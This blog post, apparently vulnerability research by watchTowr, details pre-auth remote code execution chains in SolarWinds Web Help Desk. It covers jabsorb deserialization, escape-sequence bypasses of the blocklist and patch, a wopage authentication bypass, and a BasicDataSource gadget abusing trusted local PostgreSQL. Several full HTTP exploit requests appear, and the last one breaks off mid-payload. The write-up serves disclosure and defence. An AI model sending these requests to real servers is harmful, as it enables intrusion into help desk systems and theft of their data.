Buy A Help Desk, Bundle A Remote Access Solution? (SolarWinds Web Help Desk Pre-Auth RCE Chain(s))
It’s been a while, but we’re back - in time for story time.
Gather round, strap in, and prepare for another depressing journey of “all we wanted to do was reproduce an N-day, and here we are with 0-days”.
Today, friends, we’re looking at SolarWinds Web Help Desk, which has seen its fair share of in-the-wild exploitation and while purporting to be a help desk solution - has had far more attention for its ability to provide RCE opportunities, with a confidence-inspiring amount of “oh it’s basically the same thing again”.

Deserialization issues have plagued SolarWinds’ Web Help Desk - and have supposedly been “fixed” multiple times. But our opinion is that the public details surrounding these vulnerabilities have left much more to be desired.
While we generally avoid publishing “me too” research (that would be boring), we feel our exploitation path of the vulnerabilities described (where there is any overlap) is materially different to the point that we’ve convinced ourselves it’s interesting enough to make an exception.
We have absolutely zero doubt that someone on X will tell us we were wrong in this conclusion. Please email this thought to your favourite PSIRT team to receive roughly the same level of attention.
Anyway, here we are - today’s story is a story of legacy technologies, questionable deserializers, and the reality that cyber security was painful way before Claude Code took instructions from your 7 year old nephew.
At least your nephew can’t tweet at us. For now.
What Is SolarWinds Web Help Desk?
SolarWinds Web Help Desk is a typical help desk platform. SolarWinds describes it as a solution that “simplifies ticketing and asset management tasks”. Like most products in this category, it includes functionality such as:
- Ticket management
- Incident tracking
- Workflow automation
- Asset management
- Reporting
- And more
In other words, it represents a logically attractive target for attackers. Ticketing systems are often exposed to large numbers of users, are frequently internet-facing, and simultaneously contain large volumes of sensitive internal data.
Why Are We Crying?
In this post, we’ll walk through vulnerabilities we discovered in SolarWinds Web Help Desk that allowed us to achieve pre-auth RCE on what was, at the time, a fully patched instance.
Well-intentioned as always, our initial goal was to reproduce CVE-2025-26399 - a previously patched SolarWinds Web Help Desk deserialization RCE disclosed in 2025.
The vulnerabilities we discovered are:
- CVE-2025-40552 / WT-2025-0099 - Authentication Bypass
- CVE-2025-40553 / WT-2025-0100 - Remote Code Execution via Deserialization
- CVE-2025-40554 / WT-2025-0101 - Authentication Bypass
The downside is that the full chain is fairly complex, and a complete explanation would require including substantial source code. For the sake of readability, we’ve tried to keep this post as succinct as possible.
In the meantime, below is a demo video (and a missed opportunity for our favourite keygen music) which chains one of the Authentication Bypass vulnerabilities we identified, with WT-2025-0100, our RCE via deserialization.
History Lesson - SolarWinds Web Help Desk Deserialization “Challenges”
Before we do that, some brief history.
In 2024, SolarWinds Web Help Desk made headlines (there is generally only one reason any help desk software makes headlines, and it’s never for help) after being exploited in the wild by awful people using an RCE via Java deserialization vulnerability, CVE-2024-28986.
The vulnerability was exploitable pre-auth, carried a CVSS score of 9.8, and as an industry, we resolved this issue by adding it as the 24575454th entry in CISA’s Known Exploited Vulnerabilities (KEV) catalog.
Given that, as an industry, we believed we’d done enough to completely secure the world - but as always, just as it seemed the problem had been addressed, two more pre-auth deserialization vulnerabilities appeared in 2025:
- CVE-2024-28988 - a pre-auth deserialization RCE reported through the Zero Day Initiative. It was disclosed in October 2024, but not patched until June 2025 - almost a year later.
- CVE-2025-26399 - another pre-auth deserialization RCE, also reported via ZDI and patched in September 2025. This appeared to be a patch bypass of CVE-2024-28988.
The latest advisory can be found on the ZDI website:

SolarWinds WHD Deserialization CVE-2024-28986 - A Brief Explainer
Therefore, let’s dive a little further into CVE-2024-28986 to understand why we weren’t able to wave the magic promise-ring wand and solve this.
Researching SolarWinds WHD is unusually painful.
The application is built on the Java WebObjects framework - a technology where the last major release was nearly 20 years ago, and which has been effectively abandoned for a long time.
This might sound like a long time, but for your typical Secure-By-Design pledge signer, this represents cutting-edge technology worthy of at least 3 gold stars from a government agency for their efforts - while their customers get ravaged.
Most of us, born after 1960, have never encountered WebObjects in real-world security research before.
Author’s note: We do not envy SolarWinds security engineers. They are forced to maintain and secure an obsolete framework that was clearly not designed withmodernany security expectations in mind.
While reviewing the framework code, we encountered a number of questionable mechanisms that could become exploitable if developers are not extremely careful. Combined with the lack of public documentation and security research around WebObjects, this creates plenty of room for subtle bypasses.
Before we bore you with the reality of life, we need to briefly dive into how Java WebObjects works.
At a high level, it is a stateful web framework (similar in spirit to JavaServer Faces), built around a hierarchical structure of pages and components.
To illustrate this, let’s start by looking at sample HTTP requests generated during normal user interaction with the application.

You may notice that the application URLs contain sequences of numbers separated by dots.
The first value represents the current request state (effectively an operation counter). Each time the user performs an action - clicking a button, submitting a form, navigating between pages - this value increments.
The remaining values represent the hierarchy of pages and components currently in use. To make this easier to understand, we can look at a simplified example hierarchy. It is intentionally incomplete and not fully accurate - the goal here is to illustrate the underlying concept, not to document WebObjects in full detail.

In this hierarchy, each page and component (for example, buttons) is assigned a numeric identifier, shown in red.
To reach button1, there are two possible paths:
1.4.62.4.6
Similarly, to reach page5, the application must first traverse through page3:
3.5
The key point is this: WebObjects requires traversing the full component hierarchy to reach a given page or component. You cannot directly access a nested component without following the expected structure.
With a basic understanding of how WebObjects tracks state and component hierarchy, we can start looking for components that might lead to deserialization behavior. One page stood out quickly: LookAndFeelPref.
After authenticating to SolarWinds WHD, this page can be reached via:
Setup -> General -> Look & Feel

This page defines an AjaxFlexibleFileUpload component, which in turn provides a path to an AjaxProxy component.
Why is AjaxProxy immediately interesting? Because the client-side JavaScript issues a request directly to it - and the resulting URL contains an unusually long hierarchy string, suggesting deep component traversal and complex server-side handling.
POST /helpdesk/WebObjects/Helpdesk.woa/ajax/9.7.43.0.0.0.4.3.7.0.7.1.1.1 HTTP/1.1
Host: 192.168.111.168:8443
Cookie: ...
Content-Length: 50
X-Xsrf-Token: 4f5024e8-8a44-417e-be88-e20de1d22088
Content-Type: text/plain
{
"id":1,
"method":"system.listMethods",
"params":[]
}
It allows the caller to specify which server-side method to invoke (via the method key) and to supply arguments (via the params list). The request above even enumerates available methods, so we can inspect a fragment of the response:
{
"result":
[
"wopage.validateTakeValueForKeyPath",
"wopage.takeValueForKey",
"wopage.onChangeFunction",
"wopage.cancelLabel",
"wopage.srcUrl",
"wopage._isPage",
"..."
}
}
The endpoint exposes more than 140 callable methods. That is not an unmanageable number, so we reviewed them manually. One stood out immediately: wopage.takeValueForKey.
Its Java implementation makes it clear why:
public void takeValueForKey(Object value, String key) {
DefaultImplementation.takeValueForKey(this, value, key);
}
The first argument is typed as Object. We already know we can supply parameters via the params JSON field, which means the server has to transform attacker-controlled input into Java objects.
At that point, it is hard to avoid the conclusion: those parameters must be deserialized (or otherwise materialized) on the server side.
To understand how that happens, we need to look at the internals of AjaxProxy.handleRequest. We will focus only on the relevant parts:
public WOActionResults handleRequest(WORequest request, WOContext context) {
//...
try {
Object proxy;
JSONBridge jSONBridge;
input = new JSONObject(inputString); // [1]
//...
output = jSONBridge.call(new Object[] { request, context, ajaxResponse, proxy }, input); // [2]
} catch (NoSuchElementException e) {
log.error("No method in request");
output = "method not found (session may have timed out)";
}
//...
}
At [1], the handler parses the attacker-supplied JSON into an org.json.JSONObject.
At [2], it passes that object into org.jabsorb.JSONBridge.call, along with additional context.
At this point, the input is flowing into a custom JSON-to-Java bridge (org.jabsorb) that we had not encountered before. That immediately changes the threat model. Deserializers are rarely small or simple, and they tend to expose edge cases.
We will keep the following code excerpts to the bare minimum and focus only on the parts that matter.
First, let’s look at the relevant fragments of JSONBridge.call:
public JSONRPCResult call(Object[] context, JSONObject jsonReq) {
String encodedMethod;
Object requestId;
JSONArray arguments;
JSONArray fixups;
try {
encodedMethod = jsonReq.getString("method"); // [1]
arguments = jsonReq.getJSONArray("params"); // [2]
requestId = jsonReq.opt("id");
fixups = jsonReq.optJSONArray("fixups");
} catch (JSONException var21) {
log.error("no method or parameters in request");
return new JSONRPCResult(591, (Object)null, "method not found (session may have timed out)");
}
//...
}
At [1] and [2], the code extracts both method and params from our request body. At this point, we are clearly on the intended execution path.
A few dozen lines later, we reach the part that matters:
if ((method = this.resolveMethod(methodMap, methodName, arguments)) == null) { // [1]
return new JSONRPCResult(591, requestId, "method not found (session may have timed out)");
} else {
JSONRPCResult result;
try {
if (log.isDebugEnabled()) {
log.debug("invoking " + method.getReturnType().getName() + " " + method.getName() + "(" + argSignature(method) + ")");
}
Object[] javaArgs = this.unmarshallArgs(context, method, arguments); // [2]
if (this.cbc != null) {
for(int i = 0; i < context.length; ++i) {
this.cbc.preInvokeCallback(context[i], itsThis, method, javaArgs);
}
}
Object returnObj = method.invoke(itsThis, javaArgs); // [3]
if (this.cbc != null) {
for(int i = 0; i < context.length; ++i) {
this.cbc.postInvokeCallback(context[i], itsThis, method, returnObj);
}
}
SerializerState serializerState = new SerializerState();
Object json = ser.marshall(serializerState, (Object)null, returnObj, "r"); // [4]
result = new JSONRPCResult(0, requestId, json, serializerState.getFixUps());
}
At [1], the code resolves which method to execute.
At [2], it deserializes the supplied arguments via unmarshallArgs.
At [3], it invokes the selected method with those deserialized arguments and captures the return value.
At [4], it serializes the returned object back into JSON for the HTTP response. Keep this in mind - it becomes relevant later.
unmarshallArgs ultimately routes into org.jabsorb.JSONSerializer.unmarshall. The implementation is large, but the behavior is straightforward:
- It selects a deserializer based on:
- The expected parameter type
- How the value is represented in JSON (string, array, object, etc.)
When the expected type is Object and we supply a JSON object, it selects BeanSerializer. In practice, that means:
- It reads the target type from a
javaClassfield - It instantiates that class using a default (no-argument) constructor
- It populates fields via setter methods
In other words, this is a classic setter-based deserialization attack in which the attacker controls the target type (with some constraints we will cover shortly). That is an ideal setup for exploitation - all that remains is a usable gadget chain.
A quick review of bundled dependencies showed that the product includes C3P0, which may be helpful:

C3P0 includes a well-known setter-based gadget: WrapperConnectionPoolDataSource. It allows an attacker to supply a hex-encoded serialized payload that is then deserialized via Java’s native readObject.
Given that the application ships with multiple libraries that provide usable readObject gadget chains, reaching RCE from here is straightforward.
The resulting exploit payload looks like this:
POST /helpdesk/WebObjects/Helpdesk.woa/ajax/9.7.43.0.0.0.4.3.7.0.7.1.1.1 HTTP/1.1
Host: 192.168.111.168:8443
Cookie: ...
Content-Length: 311
X-Xsrf-Token: 4f5024e8-8a44-417e-be88-e20de1d22088
Content-Type: text/plain
{
"id": 1,
"method": "wopage.takeValueForKey",
"params": [
{
"javaClass": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced0005737...hex-encoded-deser-gadget...0178a"
},
"test"
]
}
This is the original, straightforward deserialization RCE path in SolarWinds WHD. It also highlights what SolarWinds is up against: an application built on legacy WebObjects code that exposes an AjaxProxy component capable of materializing attacker-controlled objects and invoking methods with them.
From a security perspective, that is a difficult foundation to defend.
In terms of remediation, there are only a few realistic directions:
- Remove or replace the risky parts of the framework - ideally eliminating
AjaxProxyentirely. - Harden the framework implementation to constrain deserialization and method invocation to a safe subset.
- Play whack-a-mole.
None of these options are painless, and only one is semi-fun.
Tl;dr if you enjoy pain, we know where you should work.

Reproducing CVE-2025-26399 - Deserialization RCE
At least at this stage, we understand the origins of the bug class in this solution.
As we mentioned, though, we know that SolarWinds shipped two additional pre-auth deserialization RCE fixes afterward, both of which appear to be patch bypasses for CVE-2024-28986.
Enter CVE-2025-26399.
Patch bypasses are generally fun because they imply that scotch tape was acquired to implement some sort of solution. To see if this was the case here, we naturally began diffing
- Vulnerable build
- Hotfix build
Rapidly, we zeroed in on a modified code path: com.macsdesign.util.MDSApplication.dispatchRequest.
Below is the unpatched implementation:

The request was previously validated by checkSuspeciousPayload (typo not ours).
The hotfix introduced an additional step before that check:

To summarize:
- Before the hotfix, requests were only checked by
checkSuspeciousPayload. - After the hotfix, requests are first processed by
sanitizeRequest, and only then passed tocheckSuspeciousPayload.
So if we want to reproduce CVE-2025-26399, we need a way to bypass (or neutralize) the protections in checkSuspeciousPayload.
Stay with us, as - surprise surprise - it gets worse!
Reproducing CVE-2025-26399 - Bypassing checkSuspeciousPayload
This is the code for the checkSuspeciousPayload method:
private void checkSuspeciousPayload(WORequest request) {
byte[] bytes = request.content().bytes();
String requestPayload = new String(bytes);
if (!StringUtils.isBlank(requestPayload)) {
String normalizeAndDecodePayload = normalizeAndDecodeInput(requestPayload); // [1]
if (request.uri().contains("ajax") && isJSON(normalizeAndDecodePayload) && normalizeAndDecodePayload.getBytes().length > 1048) { // [2]
rootLogger().error("Payload exceeds maximum allowed size for AJAX request. Payload= " + normalizeAndDecodePayload);
this.logSuspiciousRequestDetails(request);
throw new MissingCsrfTokenException("invalid request.");
} else {
if (SUSPICIOUS_PATTERNS.matcher(normalizeAndDecodePayload).find()) {
Matcher matcher = SUSPICIOUS_PATTERNS.matcher(normalizeAndDecodePayload);
if (matcher.find()) { // [3]
String matchedKeyword = matcher.group();
if (!matchedKeyword.startsWith("java.") || !this.isWhitelisted(normalizeAndDecodePayload)) {
rootLogger().error("Suspicious content detected in the request payload. Matched keyword: " + matchedKeyword + ". Payload= " + normalizeAndDecodePayload);
this.logSuspiciousRequestDetails(request);
throw new MissingCsrfTokenException("invalid request");
}
rootLogger().info("Whitelisted payload with matched keyword: " + matchedKeyword + ". Payload= " + normalizeAndDecodePayload);
}
}
}
}
}
This method introduces two checks we need to get past:
- At
[2], it verifies if the length ofajaxrequest is not longer than1048. - At
[3], it verifies the body payload and looks for several regular expressions, which would signalize the malicious deserialization attempt. For instance, it looks for thejavaClassstring, which tells the deserializer which class to deserialize. It also blacklists several deserialization gadgets and some strings signalizing a serialized object, likeaced
All of the checks are performed on normalized and decoded input, and those operations are performed at [1]
Reproducing CVE-2025-26399 - Bypassing Regex Check
We will kick off with the regular expression-based check. Once again, it is a blacklist approach, with many potential strings defined. For instance, it blocks strings like:
javaClass,c3p0,aced,- and many others.
javaClass is already a huge blocker for us. You may remember that we use this parameter to define a target class for the deserialization.
The obvious approach is to try encoding tricks. For example, instead of sending javaClass, we could send:
java\\u0043lass
This would bypass a naive regex match, while still decoding to javaClass once parsed as JSON.
However, it is not that simple. The request payload is normalized and decoded before the regex check is performed (see [1]), using Apache Commons decoding utilities. That means the blacklist is applied against an already-decoded payload, so standard \\uXXXX encoding does not help.
We tried a range of encoding tricks with no success. At that point, it was clear we needed to stop guessing and map the full processing chain instead. Once we broke the exploit path into individual stages, one detail stood out immediately:
- The request body JSON is decoded using Apache Commons, and then the security checks are applied.
- For deserialization purposes, that same JSON is again extracted from the HTTP body and decoded using an old and custom
org.json.JSONObjectparser, implemented for thejabsorbdeserializer.
Old and custom parsers are always fun, leading us to the following theoretical attack scenario:
- Let’s assume that
JSONObjectsupports an escape sequence that Apache Commons does not normalize or decode. - Apache Commons would not be able to decode the string, thus we will bypass the regex security check.
- However, the JSON will be successfully decoded just before the deserialization.
We started reading JSONObject code and quickly found this beauty:
case '\\\\':
c = this.next();
switch (c) {
case 'b':
sb.append('\\b');
continue;
//...
case 'u':
sb.append((char)Integer.parseInt(this.next((int)4), 16));
continue;
case 'x': // [1]
sb.append((char)Integer.parseInt(this.next((int)2), 16));
continue;
At [1], we found exactly what we were looking for. This JSONObject implementation supports an additional escape sequence: it can decode \\xNN hex escapes, not just \\uNNNN.
That gives us a clean bypass. Instead of sending javaClass (which is blacklisted) or java\\u0043lass (which is normalized before checks), we can send:
java\\x43lass
The blacklist never sees the decoded string, but JSONObject will decode it during parsing - just in time for deserialization.
At this point, the regex check is bypassed. One more control remains.
Reproducing CVE-2025-26399 - Bypassing the Length Check
At this point, we did not have a gadget chain that fit within 1048 bytes.
As you may remember, there is a check that throws an exception if we deliver JSON longer than this.
String normalizeAndDecodePayload = normalizeAndDecodeInput(requestPayload); // [1]
if (request.uri().contains("ajax") && isJSON(normalizeAndDecodePayload) && normalizeAndDecodePayload.getBytes().length > 1048) { // [2]
On the surface, this is a straightforward size limit and it looks difficult to bypass.
The nuance is the order of operations. The length check only runs if isJSON(normalizeAndDecodePayload) returns true - meaning the application first tries to confirm the payload is valid JSON before enforcing the 1048-byte limit.
public static boolean isJSON(String str) {
try {
new JSONObject(str);
return true;
} catch (Exception var4) {
try {
new JSONArray(str);
return true;
} catch (Exception var3) {
return false;
}
}
}
Nothing to see here, perhaps? It just tries to use either JSONObject or JSONArray on our string to see if it’s able to parse it.
But wait… it operates on the already decoded JSON, and JSONObject will parse the decoded string! We have the JSON double decoded then.
You can probably see where it’s going. We can abuse the decode-before-parse behavior by injecting an escape sequence that becomes structurally invalid JSON after the first decode. When that happens, isJSON(...) fails - and because the size check is only applied if isJSON(...) returns true, the 1048-byte limit is never enforced.
For instance, you can put the following arbitrary key into the JSON:
"wat":"\\u0022"
After decoding, it will look like this:
"wat":"""
Our parser will throw the exception, which will be caught, although the code will never check the length.
Importantly, and luckily for us, this Apache Commons normalization and decoding is only performed for the security checks.
When the request later reaches the deserialization logic, the application reads the JSON again directly from the raw HTTP body and parses it separately. As a result, the payload is only decoded once on the actual deserialization path.
Reproducing CVE-2025-26399 - Proof of Concept
Ultimately, the following request reliably triggers remote code execution via CVE-2025-26399:
POST /helpdesk/WebObjects/Helpdesk.woa/ajax/9.7.43.0.0.0.4.3.7.0.7.1.1.1 HTTP/1.1
Host: 192.168.111.168:8443
Cookie: ...
Content-Length: X
X-Xsrf-Token: 4f5024e8-8a44-417e-be88-e20de1d22088
Content-Type: text/plain
{
"id": 1,
"wat":"\\u0022",
"method": "wopage.takeValueForKey",
"params": [
{
"java\\x43lass": "com.mchange.v2.\\x633p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAs\\x63iiSer\\x69alizedMap:a\\x63ed0005737200..rest-of-encoded-deser-gadget..2702000178a"
},
"test"
]
}
Discovering WT-2025-0100/CVE-2025-40553 - Deserialization RCE via CVE-2025-26399 Patch Bypass
Looking back at CVE-2025-26399, we felt uneasy. Various checks seemed fragile, and we had a nagging feeling: did we reproduce CVE-2025-26399 in the ‘intended’ way?
We were left with two realities;
- Either
a nagging feeling:the anonymous ZDI researcher found another way to exploit this vulnerability (maybe the one that Horizon3 described in their blog), or, - The SolarWinds patch for CVE-2025-26399 was (put nicely) ‘not brilliant.’
Why don’t we feel great? Well, the Matrix-tier encoding technique that we’ve just walked through can be used to bypass the patch for CVE-2025-26399 and was usable to achieve RCE on a fully-patched (at the time of writing) instance of SolarWinds WHD.
But why? Well, to understand what changed in the patch, we need to look at the sanitizeRequest method.
There’s a lot going on in there, but the flow eventually reaches sanitizeJson - and that’s where the important behavior lives:
public static String sanitizeJson(String json) {
String fast = neutralizeTopLevelParamsAndFixups(json);
try {
JsonNode root = MAPPER.readTree(fast); // [1]
if (root != null && root.isObject()) {
ObjectNode obj = (ObjectNode)root;
if (obj.has("params")) { // [2]
obj.set("params", MAPPER.createArrayNode()); // [3]
}
if (obj.has("fixups")) {
obj.set("fixups", MAPPER.createObjectNode());
}
stripDangerousFields(root);
}
return MAPPER.writeValueAsString(root);
} catch (Exception var4) {
return fast;
}
}
At [1], it parses the JSON into a Jackson JsonNode.
At [2], it checks whether the JSON contains a params key.
If it does, it overwrites params with an empty array at [3].
So the patch is simple: if the request includes parameters for AjaxProxy, it strips them so nothing gets deserialized.
And we can bypass it using the custom JSONObject decoding. We just encode the params key in the JSON so the sanitizer does not see params:
{
"p\\x61rams":[{"serialized":"object"}]
}
Jackson is not able to decode the \\x escape syntax, meaning it will never recognize (and therefore never strip) our params field. As a result, the sanitizer logic is bypassed entirely, and our serialized objects remain intact.
This gives us a fully working RCE against the latest version of SolarWinds WHD, ultimately assigned CVE-2025-40553 and tracked as WT-2025-0100. It seems we can reuse the C3PO WrapperConnectionPoolDataSource gadget (that we had discussed in the previous sections), which is just a wrapper for the Java native readObject deserialization.
Final HTTP request exploiting CVE-2025-40553 (bypassing all protections added for CVE-2025-26399):
POST /helpdesk/WebObjects/Helpdesk.woa/ajax/9.7.43.0.0.0.4.3.7.0.7.1.1.1 HTTP/1.1
Host: 192.168.111.168:8443
Cookie: ...
Content-Length: X
X-Xsrf-Token: 4f5024e8-8a44-417e-be88-e20de1d22088
Content-Type: text/plain
{
"id": 1,
"wat":"\\u0022",
"method": "wopage.takeValueForKey",
"p\\x61rams": [
{
"java\\x43lass": "com.mchange.v2.\\x633p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAs\\x63iiSer\\x69alizedMap:a\\x63ed0005737200..rest-of-encoded-deser-gadget..2702000178a"
},
"test"
]
}
You already know that we still have one piece missing though: we don’t know how to leverage this vulnerability without authentication.
Discovering WT-2025-0099/CVE-2025-40552 and WT-2025-0101/CVE-2025-40554 - Authentication Bypass
At this point, we’re sort of halfway there? We have WT-2025-0100, our RCE - but it’s post-auth, and that isn’t so fantastic.
So, we need an Authentication Bypass.
17 Red Bulls later, and after some internal goading, we identified two Authentication Bypasses:
- WT-2025-0099 (CVE-2025-40552) - a powerful authentication bypass that allows an attacker to ignore the hierarchical execution model of Java WebObjects and invoke almost any component directly. This works without authentication and without having to traverse the expected component/page flow. In practice, it breaks the core security model WebObjects relies on.
- WT-2025-0101 (CVE-2025-40554) - a slightly less powerful authentication bypass, but still technically interesting. It allows an attacker to invoke Ajax-related actions without authentication, which is sufficient to reach our deserialization sink.
Once again - for the purposes of brevity and sanity, we will explain WT-2025-0099 (CVE-2025-40552). WT-2025-0099 is significantly more powerful than WT-2025-0101, while also being much easier to explain.
Let’s start with a short recap, and some additional context.
An attacker can initialize a new, unauthenticated session by sending a GET request to the application’s main endpoint:
GET /helpdesk/WebObjects/Helpdesk.woa
This generates the main page and creates a new session. Java WebObjects then attaches this page (called WHDMain) to that session.
The important part is that, without authentication, it should not be possible to transition from WHDMain to other components such as LookAndFeelPref. Those components are only reachable through authenticated pages in the normal WebObjects hierarchy.
As discussed earlier, Java WebObjects is a hierarchy-based framework. The URL includes an identifier for the component being accessed, for example:
1.7.0.2.4
In this example:
- The first digit (
1) is the cache key for the current session page (the page associated with request1). - The remaining digits form the
elementID. Here,7.0.2.4represents a component traversal path: access component7from the current page, then component0from that component, then component2, and finally component4.
This brings us to the key question: what happens if we provide an invalid elementID? For example, what if we attempt to access a component that should not be reachable because we have not traversed the required hierarchy?
To answer that, we need to analyze the WebObjects method ERXComponentRequestHandler._dispatchWithPreparedSession:
private WOResponse _dispatchWithPreparedSession(WOSession aSession, WOContext aContext, NSDictionary someElements) {
WOComponent aPage = null;
WOResponse aResponse = null;
String aPageName = (String)someElements.objectForKey("wopage");
String oldContextID = aContext._requestContextID();
String oldSessionID = (String)someElements.objectForKey(WOApplication.application().sessionIdKey());
WOApplication anApplication = WOApplication.application();
boolean clearIDsInCookies = false;
if (oldSessionID != null && oldContextID != null) {
aPage = this._restorePageForContextID(oldContextID, aSession); // [1]
if (aPage == null) {
if (!anApplication._isPageRecreationEnabled()) {
return anApplication.handlePageRestorationErrorInContext(aContext); // [2]
}
//...
}
At [1], the handler attempts to retrieve a page based on the current session and the component path provided in the URL (the elementID).
If it fails (and it will for an unauthenticated attacker) it will call com.macsdesign.whd.ui.Application.handlePageRestorationErrorInContext, which is the custom class and method implemented for SolarWinds.
The magic happens here:
public WOResponse handlePageRestorationErrorInContext(WOContext context) {
//...
String requestedPage = (String)context.request().formValueForKey("wopage"); // [1]
_logger.error("Page restoration error when requesting page '" + requestedPage + "'");
return this.pageWithName(requestedPage, context).generateResponse(); // [2]
}
At [1], it retrieves the page name from the wopage form parameter.
At [2], it passes that value into pageWithName. This method switches the current session to the page with the provided name.
The implementation makes this clear:
public WOComponent pageWithName(String pageName, WOContext context) {
boolean isComponentRequestWithNullSenderID = context != null && context.senderID() == null && this.componentRequestHandlerKey().equals(context.request().requestHandlerKey());
boolean isMainRequest = pageName == null || pageName.equals("Main") || pageName.startsWith("Ajax") || pageName.contains("Ajax");
if (isComponentRequestWithNullSenderID || isMainRequest) {
pageName = WHDMain.class.getSimpleName();
}
return super.pageWithName(pageName, context);
}
If the page name provided via the wopage parameter does not start with Main, and does not contain Ajax, execution falls through to WOApplication.pageWithName - a method implemented directly in the Java WebObjects framework.
It will:
- Create a new cache key (by incrementing the first integer in the component ID string).
- Attach the selected page to that new cache key.
This is WT-2025-0100, our authentication bypass. Even though Java WebObjects is designed to enforce hierarchical page traversal, SolarWinds WHD allows an attacker to select an arbitrary page by supplying it directly via the wopage parameter.
This bypass allows an attacker to reach almost any page without authentication, and it can be abused in multiple ways. For a simple PoC, we will target the JavaSystemProperties page.
First, initialize a new unauthenticated session:
GET /helpdesk/WebObjects/Helpdesk.woa
The response will include a session cookie. Keep it.
Next, send a second GET request using that cookie, with:
- An invalid
elementIDin the URL (the specific value does not matter). - A
wopageform parameter in the request body that names the page you want to reach pre-auth.
Example:
GET /helpdesk/WebObjects/Helpdesk.woa/wo/1.2 HTTP/1.1
Host: 192.168.111.164:8443
Cookie: JSESSIONID=yourcookie;
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
wopage=JavaSystemProperties
And this is a fragment of the rendered page, which proves that our bypass worked:

Sweet!
A Failed Attempt At Combining WT-2025-0099 (CVE-2025-40552) and WT-2025-0100 (CVE-2025-40553)
So how do we combine our newly found Authentication Bypass (WT-2025-0099) to trigger our shiny RCE (WT-2025-0100)?
Well, it’s fairly logical (hopefully). We just need to:
- Use the bypass to attach the
LookAndFeelPrefpage to our session. - Once that page is attached, we can directly access its components via
elementID.
GET /helpdesk/WebObjects/Helpdesk.woa/wo/1.2 HTTP/1.1
Host: 192.168.111.164:8443
Cookie: JSESSIONID=yourcookie;
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
wopage=LookAndFeelPref
From there, we simply increment the cache key (from 1 to 2) and provide a valid elementID that points to the AjaxProxy component.
From the LookAndFeelPref page, AjaxProxy is reachable via the 0.7.1.1.1 elementID:
POST /helpdesk/WebObjects/Helpdesk.woa/ajax/2.0.7.1.1.1 HTTP/1.1
Host: 192.168.111.164:8443
Cookie: your cookies
X-Xsrf-Token: 053a832d-e3b2-4f2c-a76f-5dcc3933659b
Content-Length: 2349
Content-Type: text/plain
{
"deserialization":"payload"
}
At this point, it looks like we should be able to celebrate - we have an authentication bypass, and we have a post-auth deserialization sink that lets us deserialize arbitrary objects.
But we don’t have a full RCE chain yet. There was a plot twist.
We got trolled by SolarWinds.
To patch CVE-2025-26399, SolarWinds shipped a ZIP-based hotfix that required overwriting several JAR files. What we initially missed was SolarWinds’ hotfix documentation page, which included one additional required step:

Oh no. SolarWinds instructed users to manually remove the c3p0 library from the classpath, which kills our deserialization gadget.
So even though we can deserialize arbitrary classes (WT-2025-0100), and we can reliably reach the deserialization sink pre-auth (WT-2025-0099), the gadget we were relying on is no longer available - meaning we don’t get RCE.
We still reported the deserialization issue to SolarWinds for two reasons:
- Some administrators may have skipped this manual step, meaning
c3p0could still be present. - Even without an RCE gadget, straightforward SSRF and DoS gadgets remain available.
Still, we weren’t satisfied and decided to hunt for a replacement RCE gadget.
After all, we can deserialize almost anything with default constructors and setters - and SolarWinds ships with plenty of third-party libraries.

the service remains
As the only RCE gadget we knew of got killed by the patch documentation, our chain was no longer valid. Luckily, SolarWinds WHD has a huge codebase, and it includes dozens of various libraries. How hard could it be to find a new gadget then?
We were very optimistic while accepting this gadget-finding quest. In the end, finding a working RCE gadget was genuinely difficult - it took us several days of trial and error before we landed on a reliable chain.
Long story short: Jabsorb is weird. For instance, it ignores the order of object members to deserialize and randomizes it. It breaks several RCE gadgets that we have discovered, thus the search was pretty much extended.
One promising direction was a deserialization gadget that can trigger JDBC driver initialization and outbound database connections. However, the bundled postgresql.jar driver itself does not give us an RCE path (version with no known vulnerabilities), so we needed a different angle.
While looking at JDBC-related gadget candidates, we noticed an interesting detail in a few of them. For example, org.apache.commons.dbcp2.BasicDataSource includes a validationQuery member, which defines an SQL query executed immediately after a successful database connection - effectively, it acts as a basic validator to confirm the connection is working.
An idea popped:
- Can we use this deserialization gadget
- to connect to the local PostgreSQL instance shipped with SolarWinds WHD
- and then run a malicious SQL statement via
validationQuery?
First things first. Jabsorb-based deserialization will allow us to set the key properties for the BasicDataSource gadget, like:
- JDBC connection string.
validationQuerymember with the malicious SQL query.
However, we were not able to initialize the DB connection with the jabsorb deserialization - it only allows us to set the connection properties.
Hopeless case? Nope. Do you remember that jabsorb will firstly deserialize your parameters, invoke some method and then it will serialize back the object returned by it?
The bottom line is: we are able to force the jabsorb to serialize our deserialized object back. And yes, BasicDataSource implements a getter, which initializes the DB connection. The entire exploitation scenarios looks as follows.

Great watchTowr, but you need to know the DB username and password. This brings us to the second point.
When installing WHD, you can configure it to use embedded PostgreSQL database, or to use some external database, either PostgreSQL or MSSQL server:

Fun fact: SolarWinds WHD always installs a PostgreSQL13ServiceWHD service, which runs PostgreSQL as SYSTEM, and sets its startup type to Automatic.
Even if the administrator configures WHD to use an external database, the service remains enabled.
As a result, the embedded PostgreSQL instance continues running on localhost.

This makes the exploitation path even more promising. However, we’re still missing one piece: the database credentials. Without them, we can’t build a complete JDBC connection string.
Or can we?
When we looked at the pg_hba.conf for the bundled database, we should probably have been shocked… but, nevermind:

SolarWinds’ bundled PostgreSQL is configured to trust all local connections. This means no credentials are required when connecting over the loopback interface.
As a result, we can authenticate as the whd account (a superadmin user in the WHD PostgreSQL installation) and abuse COPY FROM PROGRAM to execute arbitrary OS commands.
Let’s try….
Bringing It All Together - CVE-2025-40552/WT-2025-0099 and CVE-2025-40553/WT-2025-0100 Pre-Auth RCE Chain
This is the entire HTTP request:
POST /helpdesk/WebObjects/Helpdesk.woa/ajax/2.0.7.1.1.1 HTTP/1.1
Host: 192.168.111.168:8443
X-Xsrf-Token: dc77b35e-2964-490e-9cb7-c442743de72d
Content-Type: text/plain
Cookie: ...
Content-Length: 574
{
"id": 1,
"method": "wopage.validateValueForKey",
"p\\x61rams":
[
{
"java\\x43lass": "org.apache.commons.dbcp2.BasicDataSource",
"driverClassName":"org.postgresql.Driver",
"url":"jdbc:postgresql://127.0.0.1:20293/postgres?user=whd",
